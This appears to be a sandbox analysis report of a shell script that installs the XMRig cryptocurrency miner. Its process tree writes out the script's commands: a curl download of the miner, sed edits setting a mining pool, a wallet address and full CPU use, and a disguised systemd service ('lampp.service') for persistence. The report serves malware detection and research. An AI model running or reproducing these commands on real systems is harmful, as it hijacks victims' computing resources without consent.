Analysis

  • max time kernel
    2s
  • max time network
    366s
  • platform
    ubuntu-24.04_amd64
  • resource
    ubuntu2404-amd64-20240523-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
  • submitted
    01-07-2024 11:11

General

  • Target

    script.sh

  • Size

    8KB

  • MD5

    97423634cc1762b2f010cb860e7fb47d

  • SHA1

    2f50775e8fe9ab98a80f06d835c5874091bf0b3e

  • SHA256

    d97530313d2423ba8c3e87ccd3d66e6cd77997d26bbb4d1dd2a5f32827dde8cd

  • SHA512

    bd5279178f713edaca1754937a859fa41dbec1fdd15c8ad3cb11894142e389d97bf3ca7f0402c018a616053b1121650ed609498a4b34c4def829e02924f6de1f

  • SSDEEP

    192:fFa1ZIJvH8czpCyzdpB3f1SAij8E3YUNvmTC8KfbmP/oYv0Yd:fEHexC+HSAHE3YUN+TC8SbmQUfd

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/script.sh
    /tmp/script.sh
    1⤵
    • Writes file to tmp directory
    PID:2766
    • /usr/bin/cut
      cut -f1 -d.
      2⤵
        PID:2770
      • /usr/bin/nproc
        nproc
        2⤵
          PID:2771
        • /usr/bin/bc
          bc -l
          2⤵
            PID:2774
          • /usr/bin/curl
            curl -L --progress-bar https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.tar.gz -o /tmp/xmrig.tar.gz
            2⤵
            • Writes file to tmp directory
            PID:2775
          • /usr/bin/mkdir
            mkdir /root/lampp
            2⤵
              PID:2780
            • /usr/bin/tar
              tar xf /tmp/xmrig.tar.gz -C /root/lampp
              2⤵
              • Reads runtime system information
              PID:2781
              • /usr/local/sbin/gzip
                gzip -d
                3⤵
                  PID:2782
                • /usr/local/bin/gzip
                  gzip -d
                  3⤵
                    PID:2782
                  • /usr/sbin/gzip
                    gzip -d
                    3⤵
                      PID:2782
                    • /usr/bin/gzip
                      gzip -d
                      3⤵
                        PID:2782
                    • /usr/bin/rm
                      rm /tmp/xmrig.tar.gz
                      2⤵
                        PID:2783
                      • /usr/bin/sed
                        sed -i "s/\"donate-level\": *[^,]*,/\"donate-level\": 1,/" /root/lampp/config.json
                        2⤵
                        • Reads runtime system information
                        PID:2784
                      • /root/lampp/xmrig
                        /root/lampp/xmrig --help
                        2⤵
                        • Executes dropped EXE
                        • Checks hardware identifiers (DMI)
                        • Reads hardware information
                        • Checks CPU configuration
                        • Reads CPU attributes
                        • Enumerates kernel/hardware configuration
                        PID:2785
                      • /usr/bin/hostname
                        hostname
                        2⤵
                          PID:2788
                        • /usr/bin/sed
                          sed -r "s/[^a-zA-Z0-9\\-]+/_/g"
                          2⤵
                          • Reads runtime system information
                          PID:2790
                        • /usr/bin/cut
                          cut -f1 -d.
                          2⤵
                            PID:2789
                          • /usr/bin/sed
                            sed -i "s/\"url\": *\"[^\"]*\",/\"url\": \"gulf.moneroocean.stream:10001\",/" /root/lampp/config.json
                            2⤵
                              PID:2791
                            • /usr/bin/sed
                              sed -i "s/\"user\": *\"[^\"]*\",/\"user\": \"47zZneDdPNr63HM9ubMyrhYvLNbDunCkiia6fNCvQkThNuK6rrj59e3Y2nNF3ETeewbALAGYaiti4SF4ENwJ8bR7PKXXcMN\",/" /root/lampp/config.json
                              2⤵
                                PID:2792
                              • /usr/bin/sed
                                sed -i "s/\"pass\": *\"[^\"]*\",/\"pass\": \"ubuntu2404-amd64-20240523-en-11\",/" /root/lampp/config.json
                                2⤵
                                  PID:2793
                                • /usr/bin/sed
                                  sed -i "s/\"max-cpu-usage\": *[^,]*,/\"max-cpu-usage\": 100,/" /root/lampp/config.json
                                  2⤵
                                    PID:2794
                                  • /usr/bin/sed
                                    sed -i "s/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 100,/" /root/lampp/config.json
                                    2⤵
                                      PID:2795
                                    • /usr/bin/sed
                                      sed -i "s#\"log-file\": *null,#\"log-file\": \"/root/lampp/xmrig.log\",#" /root/lampp/config.json
                                      2⤵
                                        PID:2796
                                      • /usr/bin/sed
                                        sed -i "s/\"syslog\": *[^,]*,/\"syslog\": true,/" /root/lampp/config.json
                                        2⤵
                                          PID:2797
                                        • /usr/bin/cp
                                          cp /root/lampp/config.json /root/lampp/config_background.json
                                          2⤵
                                            PID:2798
                                          • /usr/bin/sed
                                            sed -i "s/\"background\": *false,/\"background\": true,/" /root/lampp/config_background.json
                                            2⤵
                                              PID:2799
                                            • /usr/bin/cat
                                              cat
                                              2⤵
                                                PID:2800
                                              • /usr/bin/chmod
                                                chmod +x /root/lampp/miner.sh
                                                2⤵
                                                  PID:2801
                                                • /usr/bin/sudo
                                                  sudo -n true
                                                  2⤵
                                                    PID:2802
                                                    • /usr/bin/true
                                                      true
                                                      3⤵
                                                        PID:2803
                                                    • /usr/bin/awk
                                                      awk "{print \$2}"
                                                      2⤵
                                                        PID:2806
                                                      • /usr/bin/grep
                                                        grep MemTotal /proc/meminfo
                                                        2⤵
                                                          PID:2805
                                                        • /usr/bin/cat
                                                          cat
                                                          2⤵
                                                            PID:2807
                                                          • /usr/bin/sudo
                                                            sudo mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                            2⤵
                                                            • Reads runtime system information
                                                            PID:2808
                                                            • /usr/bin/mv
                                                              mv /tmp/lampp.service /etc/systemd/system/lampp.service
                                                              3⤵
                                                                PID:2809
                                                            • /usr/bin/sudo
                                                              sudo killall xmrig
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:2810
                                                              • /usr/bin/killall
                                                                killall xmrig
                                                                3⤵
                                                                • Reads runtime system information
                                                                PID:2811
                                                            • /usr/bin/sudo
                                                              sudo systemctl daemon-reload
                                                              2⤵
                                                              • Reads runtime system information
                                                              PID:2812
                                                              • /usr/bin/systemctl
                                                                systemctl daemon-reload
                                                                3⤵
                                                                  PID:2813
                                                              • /usr/bin/sudo
                                                                sudo systemctl enable lampp.service
                                                                2⤵
                                                                  PID:2937
                                                                  • /usr/bin/systemctl
                                                                    systemctl enable lampp.service
                                                                    3⤵
                                                                      PID:2938
                                                                  • /usr/bin/sudo
                                                                    sudo systemctl start lampp.service
                                                                    2⤵
                                                                      PID:3062
                                                                      • /usr/bin/systemctl
                                                                        systemctl start lampp.service
                                                                        3⤵
                                                                          PID:3063

                                                                    Network

                                                                    MITRE ATT&CK Matrix ATT&CK v13

                                                                    Defense Evasion

                                                                    Virtualization/Sandbox Evasion

                                                                    2
                                                                    T1497

                                                                    Discovery

                                                                    Virtualization/Sandbox Evasion

                                                                    2
                                                                    T1497

                                                                    System Information Discovery

                                                                    3
                                                                    T1082

                                                                    Command and Control

                                                                    Web Service

                                                                    1
                                                                    T1102

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    • /root/lampp/config.json
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      f3294129e6b76283965ad86a815bf383

                                                                      SHA1

                                                                      5fe0ab538f86962efe82cb13fc2da745610740af

                                                                      SHA256

                                                                      578386126ae451940ff5c21ce95b4e3be85c2d33160d6e739ed0ebbd206c7e81

                                                                      SHA512

                                                                      07a280be17282096ed8c319623d2e02e088e80d69e3d6d24ecaef5bedf624d006dc4963b8b1a6c0569a3c9221786bfd7cd462dddebcfcbed7879fd994b4c8333

                                                                    • /root/lampp/miner.sh
                                                                      Filesize

                                                                      253B

                                                                      MD5

                                                                      f96a321a262287ceae164f23f232ed9c

                                                                      SHA1

                                                                      d1eeab41f244b42377afd7cc3de7428736162b24

                                                                      SHA256

                                                                      f572e87f0fc93c5a62023a572cf4c797c942d7618167752779854d6f73efa012

                                                                      SHA512

                                                                      75fc451b1f3138dbecd907ba5af2246884582190f85b4f574a99696439a3d6839c34a9310d21d206148870c7e6e7604a7ebd8bbd23406c57c6c6346fcb9cc86e

                                                                    • /root/lampp/sed2pSYuw
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      e3eada66219924b7be99940b66e61daa

                                                                      SHA1

                                                                      a80a7c1ac0657e4990952b0f566f8d5d8f824f9c

                                                                      SHA256

                                                                      224cf49fe8f6e699c474baf47d9c1da6cf33f80904e605e9faff898fcd49d328

                                                                      SHA512

                                                                      3271126601e50850ff05fd165d91f44374af48c35958771f90071299cf9bbe62f7ead5f933a0abb4bbb9b456ec630d954d19146016f7ae9efe4fa9cb7dfaf5ee

                                                                    • /root/lampp/sedSY6fvE
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      8b11b027dd187104473ee7d661ffe25f

                                                                      SHA1

                                                                      ec46117e3b0c2ce9f7fe60ac51eb1861c49e97ef

                                                                      SHA256

                                                                      984513d85c8a81fbca982bd8c81a73344f39a4fe46bd9b982ed85c0ff6d1030f

                                                                      SHA512

                                                                      1078b6b53897534be9f070454b8545f8075017025f9252175cfc6651c7eb11a906230558daa22a1086790f5fd5fed43b9b1909b044c70fafae9aba2d99381ea2

                                                                    • /root/lampp/seddLCHFe
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      64b9b31192ff2f9b193ce78e244212ed

                                                                      SHA1

                                                                      b0ce23e90ebdb08d47e1865f2be0bf308f7db4ad

                                                                      SHA256

                                                                      b5e4bd48204a85992020daa9236c3e133039854b441b2630c863d5a78457bf10

                                                                      SHA512

                                                                      0d285f62754db00e14d7c7c704511e90cd1345901b9f8ce94f3c8de4442c6cf4d649856ffa2cf25aa82819d3a9b0814e76d8715d613200c45b2bcf8a22f5f0d9

                                                                    • /root/lampp/sedl35SXP
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      e4ffb71d105546e3d3e4f5588cf76b35

                                                                      SHA1

                                                                      9087afc15e1adc57236b6ad4a94033d1b83fa421

                                                                      SHA256

                                                                      dc8be123fdf4ddb3ce8e175cd789773e39dd915f65f742f4e52e814a575c1e24

                                                                      SHA512

                                                                      7573911315db673b1e5d07fc087f4a5f6a63531442c8b2943101da88a184064090cefa057e0f472e6f2c3034b39ed42131cde43e371b6cfc850e9b690c79849e

                                                                    • /root/lampp/sedp1fat4
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      4f54f2e38624a2240a09542230f0bcaf

                                                                      SHA1

                                                                      3a596cc33845953bb6a38be3453d7b3cb6274cb8

                                                                      SHA256

                                                                      56dadd1e6712761bc363c7a959a8306d63c88fe453b51e4b5123f08cbe475617

                                                                      SHA512

                                                                      6bb2fdc7f70937855aed32ce1eade74aa13eb55c8189d58451bb4cb70dcac5e0f4e22bed67b6d1a087fa14ea36955997ecc47f6be6e0bbadee2d529a31d99630

                                                                    • /root/lampp/sedsFZXZV
                                                                      Filesize

                                                                      2KB

                                                                      MD5

                                                                      d489ddbbb83271e967b8af615d17d3c7

                                                                      SHA1

                                                                      f0394a367a60e9727269882154098dec802774ef

                                                                      SHA256

                                                                      5cf89bb7fbef53cc5fbe582017145aa148ad8a8abc5bceee9f887ba4a6fcc46e

                                                                      SHA512

                                                                      aba9bf29076f1d5b6e81c83e5be1cee5934d23db9093ec3ea8b4d92b521e37e58d80aaea6248dc211544574f3772df990950b9236f40e863a76220f86b157954

                                                                    • /root/lampp/xmrig
                                                                      Filesize

                                                                      8.4MB

                                                                      MD5

                                                                      a066797da61d75a7711844427944b497

                                                                      SHA1

                                                                      cfb8d13bda831f6b0167754fa919f2f6ac27df3e

                                                                      SHA256

                                                                      5db282b449130e134915cf931b5cfed06d875a53692be7ac7885f007b55eb7f5

                                                                      SHA512

                                                                      e28fd50eb4aeab2a267416d8ac12c373b04a473c511de795d289391e4d2873bd086c55afaeedcee2e2b817c79edf70d37adf203d5909205aeaaf61076be6d46d

                                                                    • /tmp/lampp.service
                                                                      Filesize

                                                                      177B

                                                                      MD5

                                                                      540c899b78585827e807a62f7345eaf5

                                                                      SHA1

                                                                      8bf3146889c6b15811f226bff9fbca24d184eff2

                                                                      SHA256

                                                                      b32af10b7911d7113a1fe52ef467e7f123fb26552cae752ba52aef684b301fcf

                                                                      SHA512

                                                                      0aac2aced9505d1bde7d6c2fb6166a341982e9a170e7f0f72ede35c1305c4519e2fb07a7658558b41ad319c3d102f07d667a8769ff659b6392c81698d278af46

                                                                    • /tmp/xmrig.tar.gz
                                                                      Filesize

                                                                      3.4MB

                                                                      MD5

                                                                      e003a3ec8bdd61151a61cadf950502c4

                                                                      SHA1

                                                                      2606bd45a8d45092c7d2c0ac9d6e92ec7ef7950e

                                                                      SHA256

                                                                      80b1dc6f56a95273420dc96e837d7e1a9f42c057e319dadac0cccee4425319e0

                                                                      SHA512

                                                                      ef80c71d8b0d09128abf9e67fe12a8cd843500419da43e7a284e016029391d826c503aeec3073a2b3d7d90ba24f18990edf6965cd38a270bbe57f20c6be022f9